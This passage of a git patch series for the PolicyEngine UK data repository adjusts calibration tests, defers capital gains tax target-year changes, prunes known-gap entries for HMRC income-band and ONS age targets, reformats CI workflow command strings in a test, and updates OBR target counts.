+    # Local columns deliberately count different households, and their targets
+    # differ from the national targets. The rake must use the national inputs.
+    local_matrix = national_matrix[["band_b", "band_a"]].copy()
+    local_matrix.columns = national_matrix.columns
+    local_targets = pd.DataFrame({"band_a": [1.0, 2.0, 3.0], "band_b": [4.0, 5.0, 6.0]})
+    # The first country has two areas; the second has one. Each country's
+    # split must sum back to its households' full national starting priors.
+    area_mask = np.array(
+        [[1.0, 1.0, 0.0, 0.0], [1.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 1.0]]
+    )
+    initial_log_weights = []
+    adam = calibrate_module.torch.optim.Adam
+
+    def freeze_optimizer(parameters, **kwargs):
+        initial_log_weights.append(parameters[0].detach().numpy().copy())
+        optimizer = adam(parameters, **kwargs)
+        # Exercise the actual initialization and save paths without allowing
+        # an optimizer update to obscure the prior or area-split assertions.
+        monkeypatch.setattr(optimizer, "step", lambda: None)
+        return optimizer
+
+    monkeypatch.setattr(calibrate_module.torch.optim, "Adam", freeze_optimizer)
+    monkeypatch.setattr(calibrate_module, "STORAGE_FOLDER", tmp_path)
+    household_columns = {"household_calibration_prior": carried_priors}
+    original_weights = np.array([40.0, 0.0, 60.0, 0.0])
+    result = calibrate_local_areas(
+        dataset=_StubDataset(original_weights, **household_columns),
+        matrix_fn=lambda _d: (local_matrix, local_targets, area_mask),
+        national_matrix_fn=lambda _d: (national_matrix, national_targets),
+        area_count=3,
+        weight_file="raked_priors.h5",
+        dataset_key="2024",
+        epochs=1,
+        prior_rake_targets=rake_targets,
+    )
+
+    initial_area_weights = np.exp(initial_log_weights[0]) * area_mask
+    expected_household_priors = np.array(expected_household_priors)
+    expected_national_estimates = (
+        national_targets
+        if rake_targets
+        else expected_household_priors @ national_matrix
+    )
+    np.testing.assert_allclose(
+        initial_area_weights.sum(axis=0), expected_household_priors, rtol=1e-6
+    )
+    np.testing.assert_allclose(
+        initial_area_weights.sum(axis=0) @ national_matrix,
+        expected_national_estimates,
+        rtol=1e-6,
+    )
+    expected_area_weights = (
+        expected_household_priors / area_mask.sum(axis=0) * area_mask
+    )
+    np.testing.assert_allclose(initial_area_weights, expected_area_weights, rtol=1e-6)
+    with h5py.File(tmp_path / "raked_priors.h5") as file:
+        saved_area_weights = file["2024"][:]
+    np.testing.assert_allclose(saved_area_weights, initial_area_weights, rtol=1e-6)
+    np.testing.assert_allclose(
+        saved_area_weights.sum(axis=0) @ national_matrix,
+        expected_national_estimates,
+        rtol=1e-6,
+    )
+    np.testing.assert_allclose(
+        result.household.household_weight,
+        expected_household_priors,
+        rtol=1e-6,
+    )
+    if not rake_targets:
+        assert result.household.household_weight.sum() == pytest.approx(
+            original_weights.sum()
+        )

From 4840083cab23e8bb1ec74aa0064b668551bedd0f Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 03:41:01 -0400
Subject: [PATCH 66/76] Defer CGT target year changes to the follow-up after
 #571

---
 .../targets/sources/hmrc_cgt.py               | 30 +++++++++----------
 .../tests/test_hmrc_cgt_targets.py            | 16 +---------
 2 files changed, 15 insertions(+), 31 deletions(-)

diff --git a/policyengine_uk_data/targets/sources/hmrc_cgt.py b/policyengine_uk_data/targets/sources/hmrc_cgt.py
index 8b39a8e3..f2936068 100644
--- a/policyengine_uk_data/targets/sources/hmrc_cgt.py
+++ b/policyengine_uk_data/targets/sources/hmrc_cgt.py
@@ -29,19 +29,17 @@
 for the simulation year, so the target's meaning tracks the policy in
 force. ``_AEA_FALLBACK`` is used only if the parameter lookup fails.
 
-Year handling: HMRC's figures are the 2023-24 outturn. PolicyEngine
-UK's year N is tax year N to N+1, so the outturn is the 2023 value, the
-year whose £6,000 AEA it was realised under (``hmrc_spi._SPI_YEAR``
-follows the same convention). The amount is projected to 2029 with
-PolicyEngine's ``capital_gains`` uprating factors so the target
-constrains the projection years the calibration actually runs for; the
-taxpayer count is held flat, as the repo has no administrative basis for
-forecasting CGT taxpayer numbers and count uprating factors would be a
-nominal-income index applied to a headcount.
-
-Caveat: from 2024 the gate uses the £3,000 AEA then in force, while the
-projected values carry the 2023-24 outturn realised under a £6,000 AEA.
-The targets are therefore approximate for the projection years; the
+Year handling: HMRC's figures are the 2023-24 outturn, mapped to
+calendar 2024 following ``hmrc_spi._SPI_YEAR``. The amount is projected
+to 2029 with PolicyEngine's ``capital_gains`` uprating factors so the
+target constrains the projection years the calibration actually runs
+for; the taxpayer count is held flat, as the repo has no administrative
+basis for forecasting CGT taxpayer numbers and count uprating factors
+would be a nominal-income index applied to a headcount.
+
+Caveat: the 2023-24 outturn was realised under a £6,000 AEA, while the
+gate applied in later years uses the £3,000 AEA then in force. The
+targets are therefore approximate for the projection years; the
 alternative (a fixed £6,000 gate) would be wrong in a different and less
 transparent way, because it would not describe any year's actual policy.
 
@@ -57,9 +55,9 @@
 
 logger = logging.getLogger(__name__)
 
-# HMRC CGT statistics, tax year 2023-24 outturn. PolicyEngine UK's year N
-# is tax year N to N+1, so the outturn is the 2023 value.
-_CGT_BASE_YEAR = 2023
+# HMRC CGT statistics, tax year 2023-24 outturn, mapped to calendar 2024
+# following the hmrc_spi._SPI_YEAR convention.
+_CGT_BASE_YEAR = 2024
 _MAX_YEAR = 2029
 
 # Total chargeable gains of CGT taxpayers, 2023-24 (£65.9bn).
diff --git a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
index 70bb85db..66a15b08 100644
--- a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
+++ b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
@@ -89,20 +89,6 @@ def test_aea_tracks_the_year():
     assert compute_cgt_taxpayers(_dummy_ctx(**args), target, 2023)[0] == 0.0
 
 
-def test_base_year_is_the_tax_year_the_outturn_was_realised_in():
-    """PolicyEngine UK's year N is tax year N to N+1, so the 2023-24 outturn
-    is the 2023 value. The base-year gate must then be 2023-24's £6,000 AEA,
-    read from the real parameter tree; mapping the outturn to 2024 would gate
-    it at 2024-25's £3,000."""
-    from policyengine_uk.system import system
-
-    from policyengine_uk_data.targets.sources.hmrc_cgt import _annual_exempt_amount
-
-    ctx = SimpleNamespace(sim=SimpleNamespace(tax_benefit_system=system))
-    assert _annual_exempt_amount(ctx, _CGT_BASE_YEAR) == 6_000
-    assert _annual_exempt_amount(ctx, _CGT_BASE_YEAR + 1) == 3_000
-
-
 def test_targets_load_with_expected_base_year_values():
     targets = {t.name: t for t in get_targets()}
     # Aggregate targets plus the per-size-band targets (tested in
@@ -310,7 +296,7 @@ def test_registry_keeps_custom_compute_for_the_calibration_years():
 
 
 def test_registry_year_filter_excludes_years_before_the_outturn():
-    """The targets describe the 2023-24 outturn, PolicyEngine year 2023,
+    """The targets describe a 2023-24 outturn mapped to calendar 2024,
     so they must not appear for earlier years."""
     from policyengine_uk_data.targets import get_all_targets
 

From 473adafc622b40f46572ccbca3186b74108c6e74 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 03:41:33 -0400
Subject: [PATCH 67/76] Describe the SPI-only calibration fix and defer CGT
 follow-up

---
 changelog.d/spi-cgt-tax-year-start.fixed.md | 1 -
 changelog.d/spi-tax-year-start.fixed.md     | 1 +
 2 files changed, 1 insertion(+), 1 deletion(-)
 delete mode 100644 changelog.d/spi-cgt-tax-year-start.fixed.md
 create mode 100644 changelog.d/spi-tax-year-start.fixed.md

diff --git a/changelog.d/spi-cgt-tax-year-start.fixed.md b/changelog.d/spi-cgt-tax-year-start.fixed.md
deleted file mode 100644
index 9df02167..00000000
--- a/changelog.d/spi-cgt-tax-year-start.fixed.md
+++ /dev/null
@@ -1 +0,0 @@
-Map the HMRC Survey of Personal Incomes and capital gains tax 2023-24 outturns to PolicyEngine year 2023, the tax year they describe, instead of 2024. Return each SPI income band as one target that holds both the base year and the projected years, so calibration uses the projected values rather than the base-year outturn carried forward. Regenerate the SPI projections from the corrected base year with the current uprating factors.
diff --git a/changelog.d/spi-tax-year-start.fixed.md b/changelog.d/spi-tax-year-start.fixed.md
new file mode 100644
index 00000000..a2013007
--- /dev/null
+++ b/changelog.d/spi-tax-year-start.fixed.md
@@ -0,0 +1 @@
+Map the HMRC Survey of Personal Incomes 2023-24 outturn to PolicyEngine year 2023, the tax year it describes, instead of 2024. Return each SPI income band as one target that holds both the base year and the projected years, so calibration uses the projected values rather than the base-year outturn carried forward. Regenerate the SPI projections from the corrected base year with the current uprating factors. Defer the CGT year mapping and aggregate/band feasibility to a follow-up on top of #571.

From 6e03d4c166d7b66e16653d80b37b3c92a3d3622b Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 05:58:37 -0400
Subject: [PATCH 68/76] Drop the gaps #557 and #604 close (integration with
 both)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

With #557 each SPI income band is emitted once, so its 156 duplicate entries
go; with #604 the ages are 80 and over, so the two ons/*_85_90 zero-signal
entries go. The shipped-file counts move from 19 to 17 without signal and
from 159 to 3 duplicates (the ONS three, #605). The ten SPI bands of £1m and
over keep their zero-signal entries: #557 gives them no signal.

On uk-data 1.58.1 at 2025 the coverage CLI reports 626 in the matrix, 3
duplicates, 15 with no 2025 value and 17 without signal, with no problems and
no stale gaps, as a release build and as a testing build.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/known_gaps.yaml  | 176 ------------------
 .../tests/test_target_coverage.py             |  11 +-
 2 files changed, 6 insertions(+), 181 deletions(-)

diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
index 7b28512a..98613034 100644
--- a/policyengine_uk_data/targets/known_gaps.yaml
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -41,171 +41,6 @@ gaps:
       - dwp/uc/two_child_limit/disabled_child_element_children
       - dwp/uc/two_child_limit/disabled_child_element_households
       - dwp/uc/two_child_limit/households_affected
-  - status: duplicate
-    reason: >-
-      hmrc_spi emits each income-band target twice: the 2023-24 outturn, with
-      a value for 2024 only, then the incomes_projection.csv copy for 2025 to
-      2029. The matrix keeps the first, so calibration at 2025 carries the
-      2024 outturn forward and never sees the projection. #557 emits each band
-      once.
-    issue: https://github.com/PolicyEngine/policyengine-uk-data/pull/557
-    targets:
-      - hmrc/dividend_income_count_income_band_100_000_to_150_000
-      - hmrc/dividend_income_count_income_band_12_570_to_15_000
-      - hmrc/dividend_income_count_income_band_150_000_to_200_000
-      - hmrc/dividend_income_count_income_band_15_000_to_20_000
-      - hmrc/dividend_income_count_income_band_1_000_000_to_inf
-      - hmrc/dividend_income_count_income_band_200_000_to_300_000
-      - hmrc/dividend_income_count_income_band_20_000_to_30_000
-      - hmrc/dividend_income_count_income_band_300_000_to_500_000
-      - hmrc/dividend_income_count_income_band_30_000_to_40_000
-      - hmrc/dividend_income_count_income_band_40_000_to_50_000
-      - hmrc/dividend_income_count_income_band_500_000_to_1_000_000
-      - hmrc/dividend_income_count_income_band_50_000_to_70_000
-      - hmrc/dividend_income_count_income_band_70_000_to_100_000
-      - hmrc/dividend_income_income_band_100_000_to_150_000
-      - hmrc/dividend_income_income_band_12_570_to_15_000
-      - hmrc/dividend_income_income_band_150_000_to_200_000
-      - hmrc/dividend_income_income_band_15_000_to_20_000
-      - hmrc/dividend_income_income_band_1_000_000_to_inf
-      - hmrc/dividend_income_income_band_200_000_to_300_000
-      - hmrc/dividend_income_income_band_20_000_to_30_000
-      - hmrc/dividend_income_income_band_300_000_to_500_000
-      - hmrc/dividend_income_income_band_30_000_to_40_000
-      - hmrc/dividend_income_income_band_40_000_to_50_000
-      - hmrc/dividend_income_income_band_500_000_to_1_000_000
-      - hmrc/dividend_income_income_band_50_000_to_70_000
-      - hmrc/dividend_income_income_band_70_000_to_100_000
-      - hmrc/employment_income_count_income_band_100_000_to_150_000
-      - hmrc/employment_income_count_income_band_12_570_to_15_000
-      - hmrc/employment_income_count_income_band_150_000_to_200_000
-      - hmrc/employment_income_count_income_band_15_000_to_20_000
-      - hmrc/employment_income_count_income_band_1_000_000_to_inf
-      - hmrc/employment_income_count_income_band_200_000_to_300_000
-      - hmrc/employment_income_count_income_band_20_000_to_30_000
-      - hmrc/employment_income_count_income_band_300_000_to_500_000
-      - hmrc/employment_income_count_income_band_30_000_to_40_000
-      - hmrc/employment_income_count_income_band_40_000_to_50_000
-      - hmrc/employment_income_count_income_band_500_000_to_1_000_000
-      - hmrc/employment_income_count_income_band_50_000_to_70_000
-      - hmrc/employment_income_count_income_band_70_000_to_100_000
-      - hmrc/employment_income_income_band_100_000_to_150_000
-      - hmrc/employment_income_income_band_12_570_to_15_000
-      - hmrc/employment_income_income_band_150_000_to_200_000
-      - hmrc/employment_income_income_band_15_000_to_20_000
-      - hmrc/employment_income_income_band_1_000_000_to_inf
-      - hmrc/employment_income_income_band_200_000_to_300_000
-      - hmrc/employment_income_income_band_20_000_to_30_000
-      - hmrc/employment_income_income_band_300_000_to_500_000
-      - hmrc/employment_income_income_band_30_000_to_40_000
-      - hmrc/employment_income_income_band_40_000_to_50_000
-      - hmrc/employment_income_income_band_500_000_to_1_000_000
-      - hmrc/employment_income_income_band_50_000_to_70_000
-      - hmrc/employment_income_income_band_70_000_to_100_000
-      - hmrc/private_pension_income_count_income_band_100_000_to_150_000
-      - hmrc/private_pension_income_count_income_band_12_570_to_15_000
-      - hmrc/private_pension_income_count_income_band_150_000_to_200_000
-      - hmrc/private_pension_income_count_income_band_15_000_to_20_000
-      - hmrc/private_pension_income_count_income_band_1_000_000_to_inf
-      - hmrc/private_pension_income_count_income_band_200_000_to_300_000
-      - hmrc/private_pension_income_count_income_band_20_000_to_30_000
-      - hmrc/private_pension_income_count_income_band_300_000_to_500_000
-      - hmrc/private_pension_income_count_income_band_30_000_to_40_000
-      - hmrc/private_pension_income_count_income_band_40_000_to_50_000
-      - hmrc/private_pension_income_count_income_band_500_000_to_1_000_000
-      - hmrc/private_pension_income_count_income_band_50_000_to_70_000
-      - hmrc/private_pension_income_count_income_band_70_000_to_100_000
-      - hmrc/private_pension_income_income_band_100_000_to_150_000
-      - hmrc/private_pension_income_income_band_12_570_to_15_000
-      - hmrc/private_pension_income_income_band_150_000_to_200_000
-      - hmrc/private_pension_income_income_band_15_000_to_20_000
-      - hmrc/private_pension_income_income_band_1_000_000_to_inf
-      - hmrc/private_pension_income_income_band_200_000_to_300_000
-      - hmrc/private_pension_income_income_band_20_000_to_30_000
-      - hmrc/private_pension_income_income_band_300_000_to_500_000
-      - hmrc/private_pension_income_income_band_30_000_to_40_000
-      - hmrc/private_pension_income_income_band_40_000_to_50_000
-      - hmrc/private_pension_income_income_band_500_000_to_1_000_000
-      - hmrc/private_pension_income_income_band_50_000_to_70_000
-      - hmrc/private_pension_income_income_band_70_000_to_100_000
-      - hmrc/property_income_count_income_band_100_000_to_150_000
-      - hmrc/property_income_count_income_band_12_570_to_15_000
-      - hmrc/property_income_count_income_band_150_000_to_200_000
-      - hmrc/property_income_count_income_band_15_000_to_20_000
-      - hmrc/property_income_count_income_band_1_000_000_to_inf
-      - hmrc/property_income_count_income_band_200_000_to_300_000
-      - hmrc/property_income_count_income_band_20_000_to_30_000
-      - hmrc/property_income_count_income_band_300_000_to_500_000
-      - hmrc/property_income_count_income_band_30_000_to_40_000
-      - hmrc/property_income_count_income_band_40_000_to_50_000
-      - hmrc/property_income_count_income_band_500_000_to_1_000_000
-      - hmrc/property_income_count_income_band_50_000_to_70_000
-      - hmrc/property_income_count_income_band_70_000_to_100_000
-      - hmrc/property_income_income_band_100_000_to_150_000
-      - hmrc/property_income_income_band_12_570_to_15_000
-      - hmrc/property_income_income_band_150_000_to_200_000
-      - hmrc/property_income_income_band_15_000_to_20_000
-      - hmrc/property_income_income_band_1_000_000_to_inf
-      - hmrc/property_income_income_band_200_000_to_300_000
-      - hmrc/property_income_income_band_20_000_to_30_000
-      - hmrc/property_income_income_band_300_000_to_500_000
-      - hmrc/property_income_income_band_30_000_to_40_000
-      - hmrc/property_income_income_band_40_000_to_50_000
-      - hmrc/property_income_income_band_500_000_to_1_000_000
-      - hmrc/property_income_income_band_50_000_to_70_000
-      - hmrc/property_income_income_band_70_000_to_100_000
-      - hmrc/self_employment_income_count_income_band_100_000_to_150_000
-      - hmrc/self_employment_income_count_income_band_12_570_to_15_000
-      - hmrc/self_employment_income_count_income_band_150_000_to_200_000
-      - hmrc/self_employment_income_count_income_band_15_000_to_20_000
-      - hmrc/self_employment_income_count_income_band_1_000_000_to_inf
-      - hmrc/self_employment_income_count_income_band_200_000_to_300_000
-      - hmrc/self_employment_income_count_income_band_20_000_to_30_000
-      - hmrc/self_employment_income_count_income_band_300_000_to_500_000
-      - hmrc/self_employment_income_count_income_band_30_000_to_40_000
-      - hmrc/self_employment_income_count_income_band_40_000_to_50_000
-      - hmrc/self_employment_income_count_income_band_500_000_to_1_000_000
-      - hmrc/self_employment_income_count_income_band_50_000_to_70_000
-      - hmrc/self_employment_income_count_income_band_70_000_to_100_000
-      - hmrc/self_employment_income_income_band_100_000_to_150_000
-      - hmrc/self_employment_income_income_band_12_570_to_15_000
-      - hmrc/self_employment_income_income_band_150_000_to_200_000
-      - hmrc/self_employment_income_income_band_15_000_to_20_000
-      - hmrc/self_employment_income_income_band_1_000_000_to_inf
-      - hmrc/self_employment_income_income_band_200_000_to_300_000
-      - hmrc/self_employment_income_income_band_20_000_to_30_000
-      - hmrc/self_employment_income_income_band_300_000_to_500_000
-      - hmrc/self_employment_income_income_band_30_000_to_40_000
-      - hmrc/self_employment_income_income_band_40_000_to_50_000
-      - hmrc/self_employment_income_income_band_500_000_to_1_000_000
-      - hmrc/self_employment_income_income_band_50_000_to_70_000
-      - hmrc/self_employment_income_income_band_70_000_to_100_000
-      - hmrc/state_pension_count_income_band_100_000_to_150_000
-      - hmrc/state_pension_count_income_band_12_570_to_15_000
-      - hmrc/state_pension_count_income_band_150_000_to_200_000
-      - hmrc/state_pension_count_income_band_15_000_to_20_000
-      - hmrc/state_pension_count_income_band_1_000_000_to_inf
-      - hmrc/state_pension_count_income_band_200_000_to_300_000
-      - hmrc/state_pension_count_income_band_20_000_to_30_000
-      - hmrc/state_pension_count_income_band_300_000_to_500_000
-      - hmrc/state_pension_count_income_band_30_000_to_40_000
-      - hmrc/state_pension_count_income_band_40_000_to_50_000
-      - hmrc/state_pension_count_income_band_500_000_to_1_000_000
-      - hmrc/state_pension_count_income_band_50_000_to_70_000
-      - hmrc/state_pension_count_income_band_70_000_to_100_000
-      - hmrc/state_pension_income_band_100_000_to_150_000
-      - hmrc/state_pension_income_band_12_570_to_15_000
-      - hmrc/state_pension_income_band_150_000_to_200_000
-      - hmrc/state_pension_income_band_15_000_to_20_000
-      - hmrc/state_pension_income_band_1_000_000_to_inf
-      - hmrc/state_pension_income_band_200_000_to_300_000
-      - hmrc/state_pension_income_band_20_000_to_30_000
-      - hmrc/state_pension_income_band_300_000_to_500_000
-      - hmrc/state_pension_income_band_30_000_to_40_000
-      - hmrc/state_pension_income_band_40_000_to_50_000
-      - hmrc/state_pension_income_band_500_000_to_1_000_000
-      - hmrc/state_pension_income_band_50_000_to_70_000
-      - hmrc/state_pension_income_band_70_000_to_100_000
   - status: duplicate
     reason: >-
       ons_demographics emits these names twice. The matrix keeps the national
@@ -232,17 +67,6 @@ gaps:
       - hmrc/property_income_income_band_1_000_000_to_inf
       - hmrc/state_pension_count_income_band_1_000_000_to_inf
       - hmrc/state_pension_income_band_1_000_000_to_inf
-  - status: zero_signal
-    reason: >-
-      Ages come from the FRS AGE80 field, which is top-coded at 80
-      (datasets/frs.py), and the SPI-donor rows are copies of FRS households,
-      so no record can be 85 or over in any build. More records will not fix
-      this: the targets must match the top code, which #604 does with
-      80-and-over targets.
-    issue: https://github.com/PolicyEngine/policyengine-uk-data/pull/604
-    targets:
-      - ons/female_85_90
-      - ons/male_85_90
   - status: zero_signal
     reason: >-
       No band-H household in these regions.
diff --git a/policyengine_uk_data/tests/test_target_coverage.py b/policyengine_uk_data/tests/test_target_coverage.py
index 0be18e3b..1f63ec00 100644
--- a/policyengine_uk_data/tests/test_target_coverage.py
+++ b/policyengine_uk_data/tests/test_target_coverage.py
@@ -60,13 +60,14 @@ def test_the_shipped_known_gaps_load_and_cite_issues():
     def named(status):
         return sum(len(g.targets) for g in gaps if g.status == status)
 
-    # The 1.58.1 inventory at 2025, in every build: 15 two-child-limit targets
-    # with no 2025 value, 19 without signal, and 156 SPI and 3 ONS targets
-    # dropped under a name already taken.
+    # The 1.58.1 inventory at 2025, in every build, with #557 (SPI bands
+    # emitted once) and #604 (80-and-over ages in place of 85-90): 15
+    # two-child-limit targets with no 2025 value, 17 without signal, and 3 ONS
+    # targets dropped under a name already taken (#605).
     assert [named(s) for s in ("no_value_for_year", "zero_signal", "duplicate")] == [
         15,
-        19,
-        159,
+        17,
+        3,
     ]
     assert all(g.builds == set(BUILDS) for g in gaps if g.targets)
     # Only in testing builds, any UC payment band may lack signal (#598).

From 0785612c27a9728f0dd4dc84f57d9e0ff5eb52ab Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 06:21:40 -0400
Subject: [PATCH 69/76] Bring known_gaps.yaml's header counts up to the
 integrated inventory (review nit)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/known_gaps.yaml | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
index 98613034..6728d028 100644
--- a/policyengine_uk_data/targets/known_gaps.yaml
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -14,10 +14,11 @@
 # no target at all, is reported as stale: remove it.
 #
 # Measured on uk-data 1.58.1 (enhanced_frs_2024_25.h5, sha256 056e80fd) with
-# policyengine-uk 2.122.2 at the calibration year 2025, as a release build:
-# the registry offers 660 names. 645 enter the matrix, 15 have no value for
-# 2025 and 19 of those entering have no signal. 159 more targets reuse a
-# name already taken and are dropped as duplicates.
+# policyengine-uk 2.122.2 at the calibration year 2025, with #557 and #604,
+# as a release build and as a testing build: the registry offers 658 names.
+# 643 enter the matrix, 15 have no value for 2025 and 17 of those entering
+# have no signal. 3 more targets reuse a name already taken and are dropped
+# as duplicates (661 targets in all).
 schema_version: 1
 gaps:
   - status: no_value_for_year

From a52dd8309f995c2e290d428ae058f1476d2b4739 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 17 Oct 2026 09:31:39 -0400
Subject: [PATCH 70/76] Fix release integration formatting and lock package
 version

---
 .../tests/test_workflow_artifacts.py          | 44 +++++++++----------
 uv.lock                                       |  2 +-
 2 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index 9d2f8cc1..f26e4c49 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -92,18 +92,18 @@
             "fit_summary.json": (
                 r"(?m)^"
                 + re.escape(
-                    'uv run --frozen python -m policyengine_uk_data.utils.fit_report '
-                    'summarise constituency_calibration_log.csv --out fit_summary.json'
+                    "uv run --frozen python -m policyengine_uk_data.utils.fit_report "
+                    "summarise constituency_calibration_log.csv --out fit_summary.json"
                 )
                 + r"$"
             ),
             "distribution_report.json": (
                 r"(?m)^"
                 + re.escape(
-                    'uv run --frozen python -m '
-                    'policyengine_uk_data.utils.distribution_validation measure '
-                    'policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out '
-                    'distribution_report.json'
+                    "uv run --frozen python -m "
+                    "policyengine_uk_data.utils.distribution_validation measure "
+                    "policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out "
+                    "distribution_report.json"
                 )
                 + r"$"
             ),
@@ -111,10 +111,10 @@
                 r"(?m)^"
                 + re.escape(
                     'PYTHONPATH="$tool" uv run --frozen python -m pe_uk_aggregate_impact '
-                    'measure    --label head --dataset-file '
-                    'policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label '
+                    "measure    --label head --dataset-file "
+                    "policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label "
                     '"this pull request\'s build"    --fallback-partition '
-                    'pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml    --no-guard '
+                    "pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml    --no-guard "
                     '--git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true'
                 )
                 + "\n"
@@ -134,19 +134,19 @@
             "base_fit_summary.json": (
                 r"(?m)^"
                 + re.escape(
-                    'uv run --frozen --project base python -m '
-                    'policyengine_uk_data.utils.fit_report summarise '
-                    'base/constituency_calibration_log.csv --out base_fit_summary.json'
+                    "uv run --frozen --project base python -m "
+                    "policyengine_uk_data.utils.fit_report summarise "
+                    "base/constituency_calibration_log.csv --out base_fit_summary.json"
                 )
                 + r"$"
             ),
             "base_distribution_report.json": (
                 r"(?m)^"
                 + re.escape(
-                    'uv run --frozen python -m '
-                    'policyengine_uk_data.utils.distribution_validation measure '
-                    'policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out '
-                    '../base_distribution_report.json'
+                    "uv run --frozen python -m "
+                    "policyengine_uk_data.utils.distribution_validation measure "
+                    "policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out "
+                    "../base_distribution_report.json"
                 )
                 + r"$"
             ),
@@ -154,10 +154,10 @@
                 r"(?m)^"
                 + re.escape(
                     'PYTHONPATH="$tool" uv run --frozen --project base python -m '
-                    'pe_uk_aggregate_impact measure    --label base --dataset-file '
-                    'base/policyengine_uk_data/storage/enhanced_frs_2024_25.h5 '
+                    "pe_uk_aggregate_impact measure    --label base --dataset-file "
+                    "base/policyengine_uk_data/storage/enhanced_frs_2024_25.h5 "
                     '--dataset-label "the base\'s build"    --fallback-partition '
-                    'pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml    --no-guard '
+                    "pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml    --no-guard "
                     '--git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true'
                 )
                 + "\n"
@@ -176,18 +176,18 @@
         "artifacts": {},
         "commands": (
             (
-                'existing=$(gh api --paginate '
+                "existing=$(gh api --paginate "
                 '"repos/$GITHUB_REPOSITORY/issues/$PR/comments"    --jq ".[] | '
                 'select(.user.login == \\"github-actions[bot]\\") | select(.body | '
                 'startswith(\\"$marker\\")) | .id"    | tail -n 1)'
             ),
             (
                 'gh api -X PATCH "repos/$GITHUB_REPOSITORY/issues/comments/$existing" '
-                '-F body=@fit.md > /dev/null'
+                "-F body=@fit.md > /dev/null"
             ),
             (
                 'gh api -X POST "repos/$GITHUB_REPOSITORY/issues/$PR/comments" -F '
-                'body=@fit.md > /dev/null'
+                "body=@fit.md > /dev/null"
             ),
         ),
         "actions": {},
diff --git a/uv.lock b/uv.lock
index dce9c828..9b3ac069 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1433,7 +1433,7 @@ wheels = [
 
 [[package]]
 name = "policyengine-uk-data"
-version = "1.58.0"
+version = "1.58.2"
 source = { editable = "." }
 dependencies = [
     { name = "google-auth" },

From 21d5dbf9de2d43ee1f0854146ad42a6484500c51 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 17 Oct 2026 09:50:21 -0400
Subject: [PATCH 71/76] Reconcile target selection and OBR tests across release
 members

---
 .../targets/build_loss_matrix.py               |  2 +-
 policyengine_uk_data/tests/test_obr_sources.py |  5 +++--
 .../tests/test_obr_target_conflicts.py         |  9 ++-------
 .../tests/test_obr_target_mapping.py           | 18 +++++-------------
 4 files changed, 11 insertions(+), 23 deletions(-)

diff --git a/policyengine_uk_data/targets/build_loss_matrix.py b/policyengine_uk_data/targets/build_loss_matrix.py
index 282e9641..02761470 100644
--- a/policyengine_uk_data/targets/build_loss_matrix.py
+++ b/policyengine_uk_data/targets/build_loss_matrix.py
@@ -172,7 +172,7 @@ def build_target_matrix(dataset, time_period: str = None, reform=None):
     target_names = []
     target_values = []
 
-    for target in calibration_targets():
+    for target in all_targets:
         try:
             val = _resolve_value(target, year)
             if val is None:
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
index 71f2200f..7a5f495f 100644
--- a/policyengine_uk_data/tests/test_obr_sources.py
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -65,7 +65,8 @@ def test_the_build_reads_the_manifest_files_and_names_their_vintage():
         assert obr_sources.workbook_title(load_workbook(kind)) == entry.title
     targets = obr.get_targets()
     built = [t for t in targets if t.forecast_vintage == MANIFEST.vintage]
-    assert len(built) == 25
+    # #537 removes total NICs; the modelled class targets remain.
+    assert len(built) == 24
     assert {t.reference_url for t in built} == {f.url for f in MANIFEST.files.values()}
     check_coverage(built, MANIFEST)
 
@@ -363,7 +364,7 @@ def test_ingest_refuses_the_page_obr_serves_to_scripts(tmp_path):
 
 def test_verify_command_passes_on_the_active_manifest(capsys):
     assert obr_sources.main(["verify"]) == 0
-    assert "both workbooks verified, 25 targets" in capsys.readouterr().out
+    assert "both workbooks verified, 24 targets" in capsys.readouterr().out
 
 
 @pytest.mark.parametrize(
diff --git a/policyengine_uk_data/tests/test_obr_target_conflicts.py b/policyengine_uk_data/tests/test_obr_target_conflicts.py
index 2169a1e7..0d3063bd 100644
--- a/policyengine_uk_data/tests/test_obr_target_conflicts.py
